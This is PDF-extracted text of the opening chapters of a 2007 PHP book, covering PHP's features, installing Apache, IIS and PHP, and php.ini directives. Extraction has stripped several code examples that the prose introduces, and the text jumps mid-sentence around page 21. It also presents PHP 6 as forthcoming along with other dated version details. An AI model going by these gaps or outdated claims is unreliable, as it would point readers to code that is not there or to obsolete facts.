You might be wondering why versions 4, 5, and 6 were mentioned in this chapter. After all, isn’t only the newest version relevant? While you’re certainly encouraged to use the latest stable version, versions 4 and 5 remain in widespread use and are unlikely to go away anytime soon. Therefore having some perspective regarding each version’s capabilities and limitations is a good idea, particularly if you work with clients who might not be as keen to keep up with the bleeding edge of PHP technology.
Gilmore_Bryla_770-2C01.fm Page 5 Friday, June 29, 2007 8:12 PM
CHAPTER 1 ■ IN TRODUCING PHP
General Language Features Every user has his or her own specific reason for using PHP to implement a mission-critical application, although one could argue that such motives tend to fall into four key categories: practicality, power, possibility, and price.
Practicality From the very start, the PHP language was created with practicality in mind. After all, Lerdorf’s original intention was not to design an entirely new language, but to resolve a problem that had no readily available solution. Furthermore, much of PHP’s early evolution was not the result of the explicit intention to improve the language itself, but rather to increase its utility to the user. The result is a language that allows the user to build powerful applications even with a minimum of knowledge. For instance, a useful PHP script can consist of as little as one line; unlike C, there is no need for the mandatory inclusion of libraries. For example, the following represents a complete PHP script, the purpose of which is to output the current date, in this case one formatted like September 23, 2007: Don’t worry if this looks foreign to you. In later chapters, the PHP syntax will be explained in great detail. For the moment just try to get the gist of what’s going on. Another example of the language’s penchant for compactness is its ability to nest functions. For instance, you can effect numerous changes to a value on the same line by stacking functions in a particular order. The following example produces a string of five alphanumeric characters such as a3jh8: $randomString = substr(md5(microtime()), 0, 5); PHP is a loosely typed language, meaning there is no need to explicitly create, typecast, or destroy a variable, although you are not prevented from doing so. PHP handles such matters internally, creating variables on the fly as they are called in a script, and employing a best-guess formula for automatically typecasting variables. For instance, PHP considers the following set of statements to be perfectly valid:
// $number is a string // Add an integer and string to produce integer // Overwrite $sum with a string.
PHP will also automatically destroy variables and return resources to the system when the script completes. In these and in many other respects, by attempting to handle many of the administrative aspects of programming internally, PHP allows the developer to concentrate almost exclusively on the final goal, namely a working application.
Power PHP developers have more than 180 libraries at their disposal, collectively containing well over 1,000 functions. Although you’re likely aware of PHP’s ability to interface with databases, manipulate form information, and create pages dynamically, you might not know that PHP can also do the following: • Create and manipulate Adobe Flash and Portable Document Format (PDF) files • Evaluate a password for guessability by comparing it to language dictionaries and easily broken patterns
5
Gilmore_Bryla_770-2C01.fm Page 6 Friday, June 29, 2007 8:12 PM
6
CHAPTER 1 ■ INTRODUCING PHP
• Parse even the most complex of strings using the POSIX and Perl-based regular expression libraries • Authenticate users against login credentials stored in flat files, databases, and even Microsoft’s Active Directory • Communicate with a wide variety of protocols, including LDAP, IMAP, POP3, NNTP, and DNS, among others • Tightly integrate with a wide array of credit-card processing solutions And this doesn’t take into account what’s available in the PHP Extension and Application Repository (PEAR), which aggregates hundreds of easily installable open source packages that serve to further extend PHP in countless ways. You can learn more about PEAR in Chapter 11. In the coming chapters you’ll learn about many of these libraries and several PEAR packages.
Possibility PHP developers are rarely bound to any single implementation solution. On the contrary, a user is typically fraught with choices offered by the language. For example, consider PHP’s array of database support options. Native support is offered for more than 25 database products, including Adabas D, dBase, Empress, FilePro, FrontBase, Hyperwave, IBM DB2, Informix, Ingres, InterBase, mSQL, Microsoft SQL Server, MySQL, Oracle, Ovrimos, PostgreSQL, Solid, Sybase, Unix dbm, and Velocis. In addition, abstraction layer functions are available for accessing Berkeley DB–style databases. Several generalized database abstraction solutions are also available, among the most popular being PDO (http://www.php.net/pdo) and MDB2 (http://pear.php.net/package/MDB2). Finally, if you’re looking for an object relational mapping (ORM) solution, projects such as Propel (http://propel. phpdb.org/trac/) should fit the bill quite nicely. PHP’s flexible string-parsing capabilities offer users of differing skill sets the opportunity to not only immediately begin performing complex string operations but also to quickly port programs of similar functionality (such as Perl and Python) over to PHP. In addition to more than 85 stringmanipulation functions, both POSIX- and Perl-based regular expression formats are supported. Do you prefer a language that embraces procedural programming? How about one that embraces the object-oriented paradigm? PHP offers comprehensive support for both. Although PHP was originally a solely functional language, the developers soon came to realize the importance of offering the popular OOP paradigm and took the steps to implement an extensive solution. The recurring theme here is that PHP allows you to quickly capitalize on your current skill set with very little time investment. The examples set forth here are but a small sampling of this strategy, which can be found repeatedly throughout the language.
Price PHP is available free of charge! Since its inception, PHP has been without usage, modification, and redistribution restrictions. In recent years, software meeting such open licensing qualifications has been referred to as open source software. Open source software and the Internet go together like bread and butter. Open source projects such as Sendmail, Bind, Linux, and Apache all play enormous roles in the ongoing operations of the Internet at large. Although open source software’s free availability has been the point most promoted by the media, several other characteristics are equally important if not more so:
Gilmore_Bryla_770-2C01.fm Page 7 Friday, June 29, 2007 8:12 PM
CHAPTER 1 ■ IN TRODUCING PHP
Free of licensing restrictions imposed by most commercial products: Open source software users are freed of the vast majority of licensing restrictions one would expect of commercial counterparts. Although some discrepancies do exist among license variants, users are largely free to modify, redistribute, and integrate the software into other products. Open development and auditing process: Although not without incidents, open source software has long enjoyed a stellar security record. Such high-quality standards are a result of the open development and auditing process. Because the source code is freely available for anyone to examine, security holes and potential problems are rapidly found and fixed. This advantage was perhaps best summarized by open source advocate Eric S. Raymond, who wrote “Given enough eyeballs, all bugs are shallow.” Participation is encouraged: Development teams are not limited to a particular organization. Anyone who has the interest and the ability is free to join the project. The absence of member restrictions greatly enhances the talent pool for a given project, ultimately contributing to a higher-quality product.
Summary Understanding more about the PHP language’s history and widely used versions is going to prove quite useful as you become more acquainted with the language and begin seeking out both hosting providers and third-party solutions. This chapter satisfied that requirement by providing some insight into PHP’s history and an overview of version 4, 5, and 6’s core features. In Chapter 2, prepare to get your hands dirty, as you’ll delve into the PHP installation and configuration process, and learn more about what to look for when searching for a Web hosting provider. Although readers often liken these types of chapters to scratching nails on a chalkboard, you can gain a lot from learning more about this process. Much like a professional cyclist or race car driver, the programmer with hands-on knowledge of the tweaking and maintenance process often holds an advantage over those without by virtue of a better understanding of both the software’s behaviors and quirks. So grab a snack and cozy up to your keyboard—it’s time to build.
7
Gilmore_Bryla_770-2C01.fm Page 8 Friday, June 29, 2007 8:12 PM
Gilmore_Bryla_770-2C02.fm Page 9 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■■■
Configuring Your Environment
C
hances are you’re going to rely upon an existing corporate IT infrastructure or a third-party Web hosting provider for hosting your PHP-driven Web sites, alleviating you of the need to attain a deep understanding of how to build and administrate a Web server. However, as most prefer to develop applications on a local workstation or laptop, or on a dedicated development server, you’re likely going to need to know how to at least install and configure PHP and a Web server (in this case, Apache and Microsoft IIS). Having at least a rudimentary understanding of this process has a second benefit as well: it provides you with the opportunity to learn more about the many features of PHP and the Web server, which might not otherwise be commonly touted. This knowledge can be useful not only in terms of helping you to evaluate whether your Web environment is suited to your vision for a particular project, but also in terms of aiding you in troubleshooting problems with installing third-party software (which may arise due to a misconfigured or hobbled PHP installation). To that end, in this chapter you’ll be guided through the process of installing PHP on both the Windows and Linux platforms. Because PHP is of little use without a Web server, along the way you’ll learn how to install and configure Apache on both Windows and Linux, and Microsoft IIS 7 on Windows. This chapter concludes with an overview of select PHP editors and IDEs (integrated development environments), and shares some insight into what you should keep in mind when choosing a Web hosting provider. Specifically, you’ll learn how to do the following: • Install Apache and PHP on the Linux platform • Install Apache, IIS, and PHP on the Microsoft Windows platform • Test your installation to ensure that all of the components are properly working and troubleshoot common pitfalls • Configure PHP to satisfy practically every conceivable requirement • Choose an appropriate PHP IDE to help you write code faster and more efficiently • Choose a Web hosting provider suited to your specific needs
Installation Prerequisites Let’s begin the installation process by downloading the necessary software. At a minimum, this will entail downloading PHP and the appropriate Web server (either Apache or IIS 7, depending on your platform and preference). If your platform requires additional downloads, that information will be provided in the appropriate section.
9
Gilmore_Bryla_770-2C02.fm Page 10 Saturday, July 21, 2007 12:22 PM
10
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
■Tip In this chapter you’ll be guided through the manual installation and configuration process. Manually installing and configuring Apache and PHP is a good idea because it will familiarize you with the many configuration options at your disposal, allowing you to ultimately wield greater control over how your Web sites operate. However, if you’re ultimately going to rely on the services of a Web hosting provider and just want to quickly set up a test environment so you can get to coding, consider downloading XAMPP (http://www.apachefriends.org/en/xampp.html), a free automated Apache installer that includes, among other things, PHP, Perl, and MySQL. XAMPP is available for Linux and Windows, with Mac OS X and Solaris solutions in development.
Downloading Apache These days, Apache is packaged with all mainstream Linux distributions, meaning if you’re using one of these platforms, chances are quite good you already have it installed or can easily install it through your distribution’s packaging service (e.g., by running the apt-get command on Ubuntu). Therefore, if this applies to you, by all means skip this section and proceed to the section “Downloading PHP.” However, if you’d like to install Apache manually, follow along with this section. Because of tremendous daily download traffic, it’s suggested you choose a download location most closely situated to your geographical location (known as a mirror). At the time of this writing, the following page offered a listing of 251 mirrors located in 52 global regions: http://www.apache.org/ mirrors/. Navigate to this page and choose a suitable mirror by clicking the appropriate link. The resulting page will consist of a list of directories representing all projects found under the Apache Software Foundation umbrella. Enter the httpd directory. This will take you to the page that includes links to the most recent Apache releases and various related projects and utilities. The distribution is available in two formats: Source: If your target server platform is Linux, consider downloading the source code. Although there is certainly nothing wrong with using one of the convenient binary versions, the extra time invested in learning how to compile from source will provide you with greater configuration flexibility. If your target platform is Windows and you’d like to compile from source, a separate source package intended for the Win32 platform is available for download. However, note that this chapter does not discuss the Win32 source installation process. Instead, this chapter focuses on the much more commonplace (and recommended) binary installer. Binary: Binaries are available for a number of operating systems, among them Microsoft Windows, Sun Solaris, and OS/2. You’ll find these binaries under the binaries directory. So which Apache version should you download? Although Apache 2 was released more than five years ago, version 1.X remains in widespread use. In fact, it seems that the majority of shared-server ISPs have yet to migrate to version 2.X. The reluctance to upgrade doesn’t have anything to do with issues regarding version 2.X, but rather is a testament to the amazing stability and power of version 1.X. For standard use, the external differences between the two versions are practically undetectable; therefore, consider going with Apache 2 to take advantage of its enhanced stability. In fact, if you plan to run Apache on Windows for either development or deployment purposes, it is recommended that you choose version 2 because it is a complete rewrite of the previous Windows distribution and is significantly more stable than its predecessor.
Gilmore_Bryla_770-2C02.fm Page 11 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
Downloading PHP Although PHP comes bundled with most Linux distributions nowadays, you should download the latest stable version from the PHP Web site. To decrease download time, choose from the approximately 100 mirrors residing in more than 50 countries, a list of which is available here: http:// www.php.net/mirrors.php. Once you’ve chosen the closest mirror, navigate to the downloads page and choose one of the available distributions: Source: If Linux is your target server platform, or if you plan to compile from source for the Windows platform, choose this distribution format. Building from source on Windows isn’t recommended and isn’t discussed in this book. Unless your situation warrants very special circumstances, the prebuilt Windows binary will suit your needs just fine. This distribution is compressed in Bzip2 and Gzip formats. Keep in mind that the contents are identical; the different compression formats are just there for your convenience. Windows zip package: If you plan to use PHP in conjunction with Apache on Windows, you should download this distribution because it’s the focus of the later installation instructions. Windows installer: This version offers a convenient Windows installer interface for installing and configuring PHP, and support for automatically configuring the IIS, PWS, and Xitami servers. Although you could use this version in conjunction with Apache, it is not recommended. Instead, use the Windows zip package version. Further, if you’re interested in configuring PHP to run with IIS, see the later section titled “Installing IIS and PHP on Windows.” A recent collaboration between Microsoft and PHP product and services leader Zend Technologies Ltd. has resulted in a greatly improved process that is covered in that section. If you are interested in playing with the very latest PHP development snapshots, you can download both source and binary versions at http://snaps.php.net/. Keep in mind that some of the versions made available via this Web site are not intended for use with live Web sites.
Obtaining the Documentation Both the Apache and PHP projects offer truly exemplary documentation, covering practically every aspect of the respective technology in lucid detail. You can view the latest respective versions online via http://httpd.apache.org/ and http://www.php.net/, or download a local version to your local machine and read it there.
Downloading the Apache Manual Each Apache distribution comes packaged with the latest versions of the documentation in XML and HTML formats and in nine languages (Brazilian Portuguese, Chinese, Dutch, English, German, Japanese, Russian, Spanish, and Turkish). The documentation is located in the directory docs, found in the installation root directory. Should you need to upgrade your local version, require an alternative format such as PDF or Microsoft Compiled HTML Help (CHM) files, or want to browse it online, proceed to the following Web site: http://httpd.apache.org/docs-project/.
11
Gilmore_Bryla_770-2C02.fm Page 12 Saturday, July 21, 2007 12:22 PM
12
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
Downloading the PHP Manual The PHP documentation is available in more than 20 languages and in a variety of formats, including a single HTML page, multiple HTML pages, and CHM files. These versions are generated from DocBookbased master files, which can be retrieved from the PHP project’s CVS server should you wish to convert to another format. The documentation is located in the directory manual in the installation directory. Should you need to upgrade your local version or retrieve an alternative format, navigate to the following page and click the appropriate link: http://www.php.net/docs.php.
Installing Apache and PHP on Linux This section guides you through the process of building Apache and PHP from source, targeting the Linux platform. You need a respectable ANSI-C compiler and build system, two items that are commonplace on the vast majority of distributions available today. In addition, PHP requires both Flex (http://flex.sourceforge.net/) and Bison (http://www.gnu.org/software/bison/bison.html), while Apache requires at least Perl version 5.003. If you’ve downloaded PHP 6, you’ll also need to install the International Components for Unicode (ICU) package version 3.4 (http://icu.sourceforge.net/), although this may very well be bundled with PHP in the future. Again, all of these items are prevalent on most, if not all, modern Linux platforms. Finally, you’ll need root access to the target server to complete the build process. For the sake of convenience, before beginning the installation process, consider moving both packages to a common location—/usr/src/, for example. The installation process follows: 1. Unzip and untar Apache and PHP. In the following code, the X represents the latest stable version numbers of the distributions you downloaded in the previous section: %>gunzip httpd-2_X_XX.tar.gz %>tar xvf httpd-2_X_XX.tar %>gunzip php-XX.tar.gz %>tar xvf php-XX.tar 2. Configure and build Apache. At a minimum, you’ll want to pass the option --enable-so, which tells Apache to enable the ability to load shared modules: %>cd httpd-2_X_XX %>./configure --enable-so [other options] %>make 3. Install Apache: %>make install 4. Configure, build, and install PHP (see the section “Configuring PHP at Build Time on Linux” for information regarding modifying installation defaults and incorporating third-party extensions into PHP). In the following steps, APACHE_INSTALL_DIR is a placeholder for the path to Apache’s installed location, for instance /usr/local/apache2: %>cd ../php-X_XX %>./configure --with-apxs2=APACHE_INSTALL_DIR/bin/apxs [other options] %>make %>make install
Gilmore_Bryla_770-2C02.fm Page 13 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
5. PHP comes bundled with a configuration file that controls many aspects of PHP’s behavior. This file is known as php.ini, but it was originally named php.ini-dist. You need to copy this file to its appropriate location and rename it php.ini. The later section “Configuring PHP” examines php.ini’s purpose and contents in detail. Note that you can place this configuration file anywhere you please, but if you choose a nondefault location, you also need to configure PHP using the --with-config-file-path option. Also note that there is another default configuration file at your disposal, php.ini-recommended. This file sets various nonstandard settings and is intended to better secure and optimize your installation, although this configuration may not be fully compatible with some of the legacy applications. Consider using this file in lieu of php.ini-dist. To use this file, execute the following command: %>cp php.ini-recommended /usr/local/lib/php.ini 6. Open Apache’s configuration file, known as httpd.conf, and verify that the following lines exist. (The httpd.conf file is located at APACHE_INSTALL_DIR/conf/httpd.conf.) If they don’t exist, go ahead and add them. Consider adding each alongside the other LoadModule and AddType entries, respectively: LoadModule php6_module modules/libphp6.so AddType application/x-httpd-php .php Because at the time of publication PHP 6 wasn’t yet official, you should use the latest stable version of PHP 5 if you’re planning on running any production applications. In the case of PHP 5, the lines will look like this: LoadModule php5_module modules/libphp5.so AddType application/x-httpd-php .php Believe it or not, that’s it. Restart the Apache server with the following command: %>/usr/local/apache2/bin/apachectl restart Now proceed to the section “Testing Your Installation.”
■Tip The AddType directive in step 6 binds a MIME type to a particular extension or extensions. The .php extension is only a suggestion; you can use any extension you like, including .html, .php5, or even .jason. In addition, you can designate multiple extensions simply by including them all on the line, each separated by a space. While some users prefer to use PHP in conjunction with the .html extension, keep in mind that doing so will ultimately cause the file to be passed to PHP for parsing every single time an HTML file is requested. Some people may consider this convenient, but it will come at the cost of performance.
Installing Apache and PHP on Windows Whereas previous Windows-based versions of Apache weren’t optimized for the Windows platform, Apache 2 was completely rewritten to take advantage of Windows platform-specific features. Even if you don’t plan to deploy your application on Windows, it nonetheless makes for a great localized testing environment for those users who prefer it over other platforms. The installation process follows: 1. Start the Apache installer by double-clicking the apache_X.X.XX-win32-x86-no_ssl.msi icon. The Xs in this file name represent the latest stable version numbers of the distributions you downloaded in the previous section.
13
Gilmore_Bryla_770-2C02.fm Page 14 Saturday, July 21, 2007 12:22 PM
14
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
2. The installation process begins with a welcome screen. Take a moment to read the screen and then click Next. 3. The license agreement is displayed next. Carefully read through the license. Assuming that you agree with the license stipulations, click Next. 4. A screen containing various items pertinent to the Apache server is displayed next. Take a moment to read through this information and then click Next. 5. You will be prompted for various items pertinent to the server’s operation, including the network domain, the server name, and the administrator’s e-mail address. If you know this information, fill it in now; otherwise, just enter localhost for the first two items and put in any e-mail address for the last. You can always change this information later in the httpd.conf file. You’ll also be prompted as to whether Apache should run as a service for all users or only for the current user. If you want Apache to automatically start with the operating system, which is recommended, then choose to install Apache as a service for all users. When you’re finished, click Next. 6. You are prompted for a Setup Type: Typical or Custom. Unless there is a specific reason you don’t want the Apache documentation installed, choose Typical and click Next. Otherwise, choose Custom, click Next, and on the next screen, uncheck the Apache Documentation option. 7. You’re prompted for the Destination folder. By default, this is C:\Program Files\Apache Group. Consider changing this to C:\, which will create an installation directory C:\apache2\. Regardless of what you choose, keep in mind that the latter is used here for the sake of convention. Click Next. 8. Click Install to complete the installation. That’s it for Apache. Next you’ll install PHP. 9. Unzip the PHP package, placing the contents into C:\php6\. You’re free to choose any installation directory you please, but avoid choosing a path that contains spaces. Regardless, the installation directory C:\php6\ will be used throughout this chapter for consistency. 10. Navigate to C:\apache2\conf and open httpd.conf for editing. 11. Add the following three lines to the httpd.conf file. Consider adding them directly below the block of LoadModule entries located in the bottom of the Global Environment section: LoadModule php6_module c:/php6/php6apache2.dll AddType application/x-httpd-php .php PHPIniDir "c:\php6" Because at the time of publication PHP 6 wasn’t yet official, you should use the latest stable version of PHP 5 if you’re planning on running any production applications. To do so, you’ll need to make some minor changes to the previous lines, as follows: LoadModule php5_module c:/php5/php5apache2.dll AddType application/x-httpd-php .php PHPIniDir "c:\php5"
■Tip The AddType directive in step 11 binds a MIME type to a particular extension or extensions. The .php extension is only a suggestion; you can use any extension you like, including .html, .php5, or even .jason. In addition, you can designate multiple extensions simply by including them all on the line, each separated by a space. While some users prefer to use PHP in conjunction with the .html extension, keep in mind that doing so will cause the file to be passed to PHP for parsing every single time an HTML file is requested. Some people may consider this convenient, but it will come at the cost of a performance decrease. Ultimately, it is strongly recommended you stick to common convention and use .php.
Gilmore_Bryla_770-2C02.fm Page 15 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
12. Rename the php.ini-dist file to php.ini and save it to the C:\php6 directory. The php.ini file contains hundreds of directives that are responsible for tweaking PHP’s behavior. The later section “Configuring PHP” examines php.ini’s purpose and contents in detail. Note that you can place this configuration file anywhere you please, but if you choose a nondefault location, you also need to configure PHP using the --with-config-file-path option. Also note that there is another default configuration file at your disposal, php.ini-recommended. This file sets various nonstandard settings and is intended to better secure and optimize your installation, although this configuration may not be fully compatible with some of the legacy applications. Consider using this file in lieu of php.ini-dist. 13. If you’re using Windows NT, 2000, XP, or Vista, navigate to Start ➤ Settings ➤ Control Panel ➤ Administrative Tools ➤ Services. If you’re running Windows 98, see the instructions provided at the conclusion of the next step. 14. Locate Apache in the list and make sure that it is started. If it is not started, highlight the label and click Start the Service, located to the left of the label. If it is started, highlight the label and click Restart the Service, so that the changes made to the httpd.conf file take effect. Next, right-click Apache and choose Properties. Ensure that the startup type is set to Automatic. If you’re still using Windows 95/98, you need to start Apache manually via the shortcut provided on the start menu.
Installing IIS and PHP on Windows Microsoft Windows remains the operating system of choice even among most open source–minded developers, largely due to reasons of convenience; after all, as the dominant desktop operating system, it makes sense that most would prefer to continue using this familiar environment. Yet for reasons of both stability and performance, deploying PHP-driven Web sites on Linux running an Apache Web server has historically been the best choice. But this presents a problem if you’d like to develop and even deploy your PHP-driven Web site on a Windows server running the Microsoft IIS Web server. Microsoft, in collaboration with PHP products and services provider Zend Technologies Ltd., is seeking to eliminate this inconvenience through a new IIS component called FastCGI. FastCGI greatly improves the way IIS interacts with certain third-party applications that weren’t written with IIS in mind, including PHP (versions 5.X and newer are supported). Though FastCGI wasn’t intended for use within production environments at the time of publication, it is ready for testing and development purposes. In this section you’ll learn how to configure PHP to run in conjunction with IIS.
Installing IIS and PHP To begin, download PHP as explained in the earlier section “Downloading PHP.” Be sure to choose the Windows zip package distribution as described in that section. Extract the zip file to C:\php. Believe it or not, this is all that’s required in regard to installing PHP. Next you’ll need to install IIS. In order to take advantage of FastCGI, you’ll need to install IIS version 5.1 or greater. IIS 5.1 is available for Windows 2000 Professional, Windows 2000 Server, and Windows XP Professional, whereas IIS 6 is available for Windows 2003 Server. You can verify whether IIS is installed on these operating systems by navigating to Start ➤ Run and executing inetmgr at the prompt. If the IIS manager loads, it’s installed and you can proceed to the next section, “Configuring FastCGI to Manage PHP Processes.” If it is not installed, insert the Windows XP Professional CD into your CD-ROM drive and navigate to Start ➤ Control Panel ➤ Add/Remove Programs, and select Add/ Remove Windows Components. From here, check the box next to Internet Information Services (IIS) and click Next, then click OK.
15
Gilmore_Bryla_770-2C02.fm Page 16 Saturday, July 21, 2007 12:22 PM
16
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
■Note It’s not possible to download any version of IIS; they are bundled solely with the corresponding version of Windows, therefore you will need the Windows installation disk if IIS isn’t already installed on your computer. Also, IIS is not available nor installable on Windows 98, Windows ME, or Windows XP Home Edition. IIS 7 is bundled with both Windows Vista and Windows Server “Longhorn”; however, it may not be installed on your machine. You can verify whether IIS is installed on these operating systems by navigating to Start ➤ Run and executing inetmgr at the prompt. If the IIS manager loads, it’s installed, and you can proceed to the next section, “Configuring FastCGI to Manage PHP Processes.” Otherwise, install IIS 7 by navigating to Start ➤ Settings ➤ Control Panel ➤ Programs and Features and clicking the Turn Windows Features On and Off link appearing to the right of the window. As shown in Figure 2-1, a new window will appear containing a list of features you’re free to enable and disable at will, including IIS. Enable IIS by clicking the checkbox next to it. You’ll also want to enable FastCGI by clicking the checkbox next to CGI. Once both of these checkboxes have been enabled, click the OK button. Once the installation process completes, you’ll need to restart the operating system for the changes to take effect.
Figure 2-1. Enabling IIS on Vista
Configuring FastCGI to Manage PHP Processes Next you’ll need to configure FastCGI to handle PHP-specific requests. This is done by navigating to the IIS Manager (Start ➤ Run, then enter inetmgr), clicking Handler Mappings, clicking Add Module Mapping, and then entering the mapping as shown in Figure 2-2. PHP and IIS are now properly installed and configured on your machine. Proceed to the next section to test your installation.
Gilmore_Bryla_770-2C02.fm Page 17 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
Figure 2-2. Confirming the FastCGI Handler Mapping is installed
Testing Your Installation The best way to verify your PHP installation is by attempting to execute a PHP script. Open a text editor and add the following lines to a new file: If you’re running Apache, save the file within the htdocs directory as phpinfo.php. If you’re running IIS, save the file within C:\inetpub\wwwroot\. Now open a browser and access this file by entering the following URL: http://localhost/ phpinfo.php. If all goes well, you should see output similar to that shown in Figure 2-3. If you’re attempting to run this script on a Web hosting provider’s server, and you receive an error message stating phpinfo() has been disabled for security reasons, you’ll need to try executing another script. Try executing this one instead, which should produce some simple output:
17
Gilmore_Bryla_770-2C02.fm Page 18 Saturday, July 21, 2007 12:22 PM
18
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
■Tip
Executing the phpinfo() function is a great way to learn about your PHP installation, as it offers extensive information regarding the server, operating system environment, and available extensions.
Figure 2-3. Output from PHP’s phpinfo() function If you encountered no noticeable errors during the build process but you are not seeing the appropriate output, it may be due to one or more of the following reasons: • Changes made to Apache’s configuration file do not take effect until it has been restarted. Therefore, be sure to restart Apache after adding the necessary PHP-specific lines to the httpd.conf file. • When you modify the Apache configuration file, you may accidentally introduce an invalid character, causing Apache to fail upon an attempt to restart. If Apache will not start, go back and review your changes. • Verify that the file ends in the PHP-specific extension as specified in the httpd.conf file. For example, if you’ve defined only .php as the recognizable extension, don’t try to embed PHP code in an .html file. • Make sure that you’ve delimited the PHP code within the file. Neglecting to do this will cause the code to output to the browser.
Gilmore_Bryla_770-2C02.fm Page 19 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
• You’ve created a file named index.php and are trying unsuccessfully to call it as you would a default directory index. Remember that by default, Apache only recognizes index.html in this fashion. Therefore, you need to add index.php to Apache’s DirectoryIndex directive. • If you’re running IIS, make sure the appropriate mapping is available, as shown in Figure 2-2. If not, something went awry during the FastCGI installation process. Try removing that mapping and installing FastCGI anew.
Configuring PHP Although the base PHP installation is sufficient for most beginning users, chances are you’ll soon want to make adjustments to the default configuration settings and possibly experiment with some of the third-party extensions that are not built into the distribution by default. In this section you’ll learn all about how to tweak PHP’s behavior and features to your specific needs.
Configuring PHP at Build Time on Linux Building PHP as described earlier in the chapter is sufficient for getting started; however, you should keep in mind many other build-time options are at your disposal. You can view a complete list of configuration flags (there are more than 200) by executing the following: %>./configure --help To make adjustments to the build process, you just need to add one or more of these arguments to PHP’s configure command, including a value assignment if necessary. For example, suppose you want to enable PHP’s FTP functionality, a feature not enabled by default. Just modify the configuration step of the PHP build process like so: %>./configure --with-apxs2=/usr/local/apache2/bin/apxs --enable-ftp As another example, suppose you want to enable PHP’s Java extension. Just reconfigure PHP like so: %>./configure --with-apxs2=/usr/local/apache2/bin/apxs \ >--enable-java=[JDK-INSTALL-DIR] One common point of confusion among beginners is to assume that simply including additional flags will automatically make this functionality available via PHP. This is not necessarily the case. Keep in mind that you also need to install the software that is ultimately responsible for enabling the extension support. In the case of the Java example, you need the Java Development Kit (JDK).
Customizing the Windows Build A total of 45 extensions are bundled with PHP 5.1 and 5.2, a number that was pared to 35 extensions with the current alpha version of PHP 6. However, to actually use any of these extensions, you need to uncomment the appropriate line within the php.ini file. For example, if you’d like to enable PHP’s XML-RPC extension, you need to make a few minor adjustments to your php.ini file: 1. Open the php.ini file and locate the extension_dir directive and assign it C:\php\ext\. If you installed PHP in another directory, modify this path accordingly. 2. Locate the line ;extension=php_xmlrpc.dll. Uncomment this line by removing the preceding semicolon. Save and close the file.
19
Gilmore_Bryla_770-2C02.fm Page 20 Saturday, July 21, 2007 12:22 PM
20
CHAPTER 2 ■ CONFIGURIN G YOUR ENV IRONME NT
3. Restart the Web server and the extension is ready for use from within PHP. Keep in mind that some extensions have additional configuration directives that may be found later in the php.ini file. When enabling these extensions, you may occasionally need to install other software. See the PHP documentation for more information about each respective extension.
Run-Time Configuration It’s possible to change PHP’s behavior at run time on both Windows and Linux through the php.ini file. This file contains a myriad of configuration directives that collectively control the behavior of each product. The remainder of this chapter focuses on PHP’s most commonly used configuration directives, introducing the purpose, scope, and default value of each.
Managing PHP’s Configuration Directives Before you delve into the specifics of each directive, this section demonstrates the various ways in which these directives can be manipulated, including through the php.ini file, Apache’s httpd.conf and .htaccess files, and directly through a PHP script.
The php.ini File The PHP distribution comes with two configuration templates, php.ini-dist and php.ini-recommended. You’ll want to rename one of these files to php.ini and place it in the location specified by the PHPIniDir directive found in Apache’s httpd.conf file. It’s suggested that you use the latter because many of the parameters found within it are already assigned their suggested settings. Taking this advice will likely save you a good deal of initial time and effort securing and tweaking your installation because there are well over 200 distinct configuration parameters in this file. Although the default values go a long way toward helping you to quickly deploy PHP, you’ll probably want to make additional adjustments to PHP’s behavior, so you’ll need to learn a bit more about php.ini and its many configuration parameters. The upcoming section “PHP’s Configuration Directives” presents a comprehensive introduction to many of these parameters, explaining the purpose, scope, and range of each. The php.ini file is PHP’s global configuration file, much like httpd.conf is to Apache. This file addresses 12 different aspects of PHP’s behavior: • Language Options • Safe Mode • Syntax Highlighting • Miscellaneous • Resource Limits • Error Handling and Logging • Data Handling • Paths and Directories • File Uploads • Fopen Wrappers • Dynamic Extensions • Module Settings
Gilmore_Bryla_770-2C02.fm Page 21 Saturday, July 21, 2007 12:22 PM
CHAPTER 2 ■ C ON FIGURIN G YOUR EN VIRONM ENT
The section “PHP’s Configuration Directives” that follows will introduce many of the directives found in the php.ini file. Later chapters will introduce module-specific directives as appropriate. Before you are introduced to them, however, take a moment to review the php.ini file’s general syntactical characteristics. The php.ini file is a simple text file, consisting solely of comments and the directives and their corresponding values. Here’s a sample snippet from the file: ; ; Allow the You may recognize that this syntax is shared with XML, which could cause issues in certain environments. Thus, a means for disabling this particular format has been provided. When short_open_tag is enabled (On), short tags are allowed; when disabled (Off), they are not.
asp_tags = On | Off Scope: PHP_INI_ALL; Default value: Off PHP supports ASP-style script delimiters, which look like this: If you’re coming from an ASP background and prefer to continue using this delimiter syntax, you can do so by enabling this tag.
■Note
ASP-style tags are no longer available as of PHP 6.
precision = integer Scope: PHP_INI_ALL; Default value: 12 PHP supports a wide variety of datatypes, including floating-point numbers. The precision parameter specifies the number of significant digits displayed in a floating-point number representation. Note that this value is set to 14 digits on Win32 systems and to 12 digits on Linux.
y2k_compliance = On | Off Scope: PHP_INI_ALL; Default value: Off Who can forget the Y2K scare of just a few years ago? Superhuman efforts were undertaken to eliminate the problems posed by non-Y2K-compliant software, and although it’s very unlikely, some users may be using wildly outdated, noncompliant browsers. If for some bizarre reason you’re sure that a number of your site’s users fall into this group, then disable the y2k_compliance parameter; otherwise, it should be enabled.
output_buffering = On | Off | integer Scope: PHP_INI_SYSTEM; Default value: Off Anybody with even minimal PHP experience is likely quite familiar with the following two messages: "Cannot add header information – headers already sent" "Oops, php_set_cookie called after header has been sent" These messages occur when a script attempts to modify a header after it has already been sent back to the requesting user. Most commonly they are the result of the programmer attempting to send a cookie to the user after some output has already been sent back to the browser, which is impossible to accomplish because the header (not seen by the user, but used by the browser) will always precede that output. PHP version 4.0 offered a solution to this annoying problem by introducing the concept
23
